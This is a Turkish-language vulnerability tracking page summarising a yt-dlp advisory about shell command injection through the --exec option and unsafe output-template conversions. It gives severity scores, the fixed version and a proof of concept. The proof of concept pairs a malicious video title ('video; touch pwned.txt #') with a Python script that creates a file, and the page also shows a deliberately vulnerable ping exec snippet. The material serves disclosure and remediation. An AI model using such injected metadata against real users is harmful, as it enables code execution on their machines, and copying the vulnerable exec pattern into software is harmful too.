İçeriğe atla
Noroxi
OSV ekosistem danışmanlığı

GHSA-69qj-pvh9-c5wg: yt-dlp: Arbitrary command injection possible if --exec option used with yt-dlp

YüksekCVSS 7.5 · v3.1—İstismar yok Düzeltme var

Noroxi değerlendirmesi

Öncelik: İzleyin (aksiyon skoru 30/100)

  • İzlediğimiz kaynaklarda (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) herkese açık istismar kodu ya da sahada sömürü kaydı yok.
  • İnternetten erişebilen herkes tetikleyebilir. Hesap ya da parola gerekmez. Bir kullanıcının bağlantıyı açması ya da sayfayı ziyaret etmesi gerekir. Zamanlama ya da yapılandırma gibi özel koşullar gerekir.
  • Düzeltilmiş sürüm: yt-dlp (PyPI) 2026.6.9.

Şimdilik düşük öncelik. yt-dlp (PyPI) 2026.6.9 ya da daha yeni sürüme yükseltin.

Kaydın verisinden otomatik üretilir: CVSS (NVD ve CNA), CISA KEV ve SSVC, FIRST EPSS, istismar kaynakları, düzeltme sürümleri. Nasıl hesaplıyoruz

Birincil kaynaklar: OSV

### Summary yt-dlp's `--exec` option is vulnerable to arbitrary command injection when handling untrusted metadata if the argument uses standard string formatting (e.g. `%(title)s`) or other unsafe conversions. An attacker could achieve remote code execution on the user's machine via maliciously crafted metadata containing quotes or other special shell characters. ### Details Since yt-dlp version 2021.04.11, the `--exec` option has supported "output template syntax", which is a superset of Python's `printf`-style string formatting also used by the `--output` option. This means the user is able to pass a "command template" as an argument to the `--exec` option which will be executed by the user's shell. The command template allows for the downloaded video's metadata to be interpolated into the command string. yt-dlp implements a `%()q` conversion, which will shell-quote/escape any metadata value such that it is safe to be interpolated into a command string. However, there are unsafe conversions such as `%()s` which result in the command template being formatted with the raw metadata string. These unsafe conversions do not perform any sanitization or escaping for shell contexts. If one or more of these unsafe conversions is used in the command template, an attacker can craft a malicious metadata value containing shell operators (e.g. `;`, `&`, `|`) to break out of the intended command and execute payload commands. ### Impact The impact is limited to users who pass an `--exec` command template containing unsafe conversions in their yt-dlp command or configuration file: `%()s`, `%()a`, `%()r`, `%()j`, `%()S` (including any of their flagged variants.) ### Patches yt-dlp version 2026.06.09 fixes this issue by restricting the conversions that can be used in an `--exec` command template to those known to be safe: `%()d`, `%()i`, `%()f`, `%()q` (including any of their flagged variants.) It also restricts the characters that can be used in command template defaults and placeholders when the user passes an `--exec` argument containing output template syntax. ### Workarounds This vulnerability can be fully mitigated by doing any of the following: - Upgrade yt-dlp to version 2026.06.09 or later - Only use safe conversions (e.g. `%()d`, `%()i`, `%()f`, `%()q`) in any `--exec` command templates - Do not use "output template syntax" in any `--exec` arguments - Do not use the `--exec` option ### Proof-of-Concept 1. An attacker sets the title of a video to a malicious payload, e.g.: `video; touch pwned.txt #` 2. The victim downloads this video using yt-dlp with the `--exec` flag. Reproduction steps (simulated): 1. Create a python script poc.py to simulate the internal behavior: ```bash import unittest import os from yt_dlp.postprocessor.exec import ExecPP from yt_dlp.YoutubeDL import YoutubeDL from yt_dlp.utils import PostProcessingError # Import Popen to use the REAL one for the PoC (to actually create the file) from yt_dlp.utils import Popen as RealPopen class TestDemonstrativePoC(unittest.TestCase): FILE_NAME = "PWNED.txt" def setUp(self): # Remove the file if it exists if os.path.exists(self.FILE_NAME): os.remove(self.FILE_NAME) def test_1_demonstrate_vulnerability_simulated(self): """ Simulates the code BEFORE the fix to show what would happen. """ print("\n--- TEST 1: Simulating vulnerable state ---") # 1. Define the vulnerable Parse Method def vulnerable_parse_cmd(self, cmd, info): # This mimics the code before my patch tmpl, tmpl_dict = self._downloader.prepare_outtmpl(cmd, info) if tmpl_dict: return self._downloader.escape_outtmpl(tmpl) % tmpl_dict return cmd # 2. Patch the class temporarily original_parse_cmd = ExecPP.parse_cmd ExecPP.parse_cmd = vulnerable_parse_cmd info = { 'id': '1234', # MALICIOUS TITLE: # 1. 'video' gets echoed # 2. ; separator # 3. touch PWNED.txt creates the file # 4. # comments out the rest 'title': f'video; touch {self.FILE_NAME} #', 'ext': 'mp4', 'filepath': 'video.mp4' } ydl = YoutubeDL({'verbose': False, 'quiet': True}) try: print(f"[*] Payload Title: {info['title']}") print("[*] Executing: echo %(title)s") # Use the REAL Popen to actually execute shell commands import yt_dlp.postprocessor.exec original_popen_ref = yt_dlp.postprocessor.exec.Popen yt_dlp.postprocessor.exec.Popen = RealPopen pp = ExecPP(ydl, 'echo %(title)s') pp.run(info) # Restore Popen ref yt_dlp.postprocessor.exec.Popen = original_popen_ref # Check if file was created if os.path.exists(self.FILE_NAME): print(f"[!] VULNERABILITY CONFIRMED: File '{self.FILE_NAME}' was created on disk!") else: print("[?] File not created. Payload might have failed.") finally: # Restore the secure method ExecPP.parse_cmd = original_parse_cmd if __name__ == '__main__': unittest.main() ``` 2. Run the script: `python3 poc.py` 3. Check the directory. A file named `PWNED.txt` will be created, proving arbitrary command execution. <img width="1386" height="757" alt="poc" src="https://github.com/user-attachments/assets/b21a1dd9-f86d-4836-861b-7e880f639c08" />

Güncelleme
16 Haz 2026
EPSS
—

Rapor araçları

JSON

Aksiyon skoru

30

İzleyin

Şimdilik düşük öncelik.

CVSS
30 / 40 · 7.5 / 10
CISA KEV
0 / 30 · Listede değil
EPSS
0 / 30 · —

Bu kayıt değişirse haber alın

  • KEV'de değil: sahada sömürü kaydı yok
  • Herkese açık istismar kodu kaydı yok
  • Düzeltme yayımlandı

Bunlardan biri değişirse günlük e-posta özetinde haber veririz.

GHSA-69qj-pvh9-c5wg kaydını takip edin

Ne zaman haber verilir

  • CISA KEV'e girdiğinde
  • istismar kodu ortaya çıktığında ya da silahlaştırıldığında
  • kayıt güncellendiğinde (düzeltme sürümü dahil)
  • EPSS bir haftada 20 puan arttığında

Günde bir e-posta özeti (06:00 UTC); webhook bağlarsanız KEV ve silahlaştırılmış istismar ücretli planda 10 dakikada bir, ücretsizde saat başı.

Ücretsiz hesapla ayrıca

  • CVE uyarıları: kullandığınız ürün ve sürümleri ekleyin, onları etkileyen yeni CVE'ler size gelsin
  • Site izleme: 1 site, kesintide anında e-posta
  • Alan adınızı ekleyin: alt alan adları ve ele geçirme riski her hafta taransın (1 alan adı)
  • Güvenlik araçlarında saatte 10, günde en çok 30 tarama (hesapsız günde 3), API anahtarı ve MCP
  • Taramalarınız tek panelde: bulgular, son taramada değişenler, alan adı ya da müşteri başına rapor (PDF, paylaşım bağlantısı)
Tüm ücretsiz araçlar

E-postayla kayıt olun · Hesabınız var mı? Giriş yapın

Ücretsiz hesap, kart istenmez. Takibi istediğiniz an bırakırsınız.

Sürümünüz etkileniyor mu? Kontrol edin

Noroxi analizi

Sizin ortamınızda ne anlama geliyor?

Yukarıdaki değerlendirme kaydın verisinden otomatik üretilir; ortamınızı bilmez. Bu açığın sizde gerçekten sömürülebilir olup olmadığını ve hangi önlemin yeteceğini ekibimiz sizin sistemlerinizde doğrular.

Bu ürünü kullanıyoruz, yardım isteyin

Etkilenen sistemler

Sürümünüz etkileniyor mu?

Ürünü seçip kullandığınız sürümü yazın. Bu kaydın sürüm aralıklarıyla tarayıcınızda karşılaştırılır; sürüm hiçbir yere gönderilmez.

ÜreticiÜrün
PyPIyt-dlp

Paket düzeyi etkilenme

OSV ve GitHub Advisory verisi: ekosistem, paket ve aralık. SBOM eşleşmesi bu tabloyu kullanır.

EkosistemPaketEtkilenen aralıkDüzeltme
PyPIyt-dlp2021.4.11 itibarıyla · 2026.6.9 öncesi2026.6.9

Aynı üründe

PyPI: tüm kayıtlar

Aynı birincil ürünün en yüksek skorlu diğer kayıtları.

  • GHSA-3v33-3wmw-3785yt-dlp has dependency on potentially malicious third-party code in Douyu extractors
    0İzleyin

Düzeltme

Hangi sürüme geçmeli

Üretici, paket deposu ve Microsoft kayıtlarından derlenen düzeltme sürümleri. Yükseltmeden önce üreticinin notunu doğrulayın.

Ürün / paketDüzeltilmiş sürümKaynak
PyPI:yt-dlp2026.6.9Paket deposu (OSV)

İstismar durumu

Bilinen kamuya açık istismar yok

Şu an kamuya açık bir istismar görülmedi. Bu, güvende olduğunuz anlamına gelmez; yalnızca eşiğin biraz daha yüksek olduğunu gösterir.

Araştırma bağlamı

Pentester ve araştırmacı için: saldırı profili, puan anlaşmazlığı, zaman çizelgesi, yama commit’leri, kredi, varyant ve zincir adayları, bug bounty kapsamı. Hepsi mevcut veriden türetilir; istismar kodu içermez.

Zaman çizelgesi

Yayından bugüne: kavram kanıtı, Metasploit modülü, CISA KEV ve düzeltme kaydı. Tarihler kaynakların bildirdiği tarihlerdir.

Yayın dışında tarihli olay yok.

Yama ve commit bağlantıları

Referanslardaki commit, PR ve diff adresleri. Patch-diff ve varyant avı için başlangıç noktası; istismar değil, düzeltmedir.

Bu kayıtta yok: EPSS geçmişi · araştırmacı kredisi · varyant ya da zincir adayı · herkese açık ödül programı.

Teknik detay

Saldırı koşulları

  • İnternetten erişebilen herkes tetikleyebilir.
  • Hesap ya da parola gerekmez.
  • Bir kullanıcının bağlantıyı açması ya da sayfayı ziyaret etmesi gerekir.
  • Zamanlama ya da yapılandırma gibi özel koşullar gerekir.

Başarılı olursa

Gizlilik
yüksek · veriler okunabilir
Bütünlük
yüksek · veri ya da yapılandırma değiştirilebilir
Erişilebilirlik
yüksek · hizmet durdurulabilir
Saldırı vektörü
Ağ
Karmaşıklık
Yüksek
Gereken yetki
Yok
Kullanıcı etkileşimi
Gerekir
Kapsam
Değişmez
Gizlilik etkisi
Yüksek
Bütünlük etkisi
Yüksek
Erişilebilirlik etkisi
Yüksek

CVSS vektörü

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

osv

Kök neden

Kullanıcı girdisi, bir kabuk komutunun içine metin olarak yerleştiriliyor. Kabuk, girdideki özel karakterleri komutun parçası olarak yorumlayabilir.

Hatanın kod karşılığı

CWE-78 sınıfının tamamı

Bu zafiyet sınıfının temsili örneği. Üreticinin kaynak kodu değildir; hatalı kalıbı ve düzeltmesini gösterir.

Hatalı

ts
const host = req.body.host;exec("ping -c 1 " + host, onResult);

Düzeltilmiş

ts
const host = req.body.host;if (!/^[a-z0-9.-]{1,253}$/i.test(host)) return res.sendStatus(400);execFile("ping", ["-c", "1", host], onResult);

Saldırı bağlamı

Bu zafiyet sınıfının (CWE) MITRE CAPEC saldırı desenleri ve ATT&CK teknikleri. Tespit kuralı ve tehdit avı için başlangıç noktası.

Referanslar

Tüm kayıtlar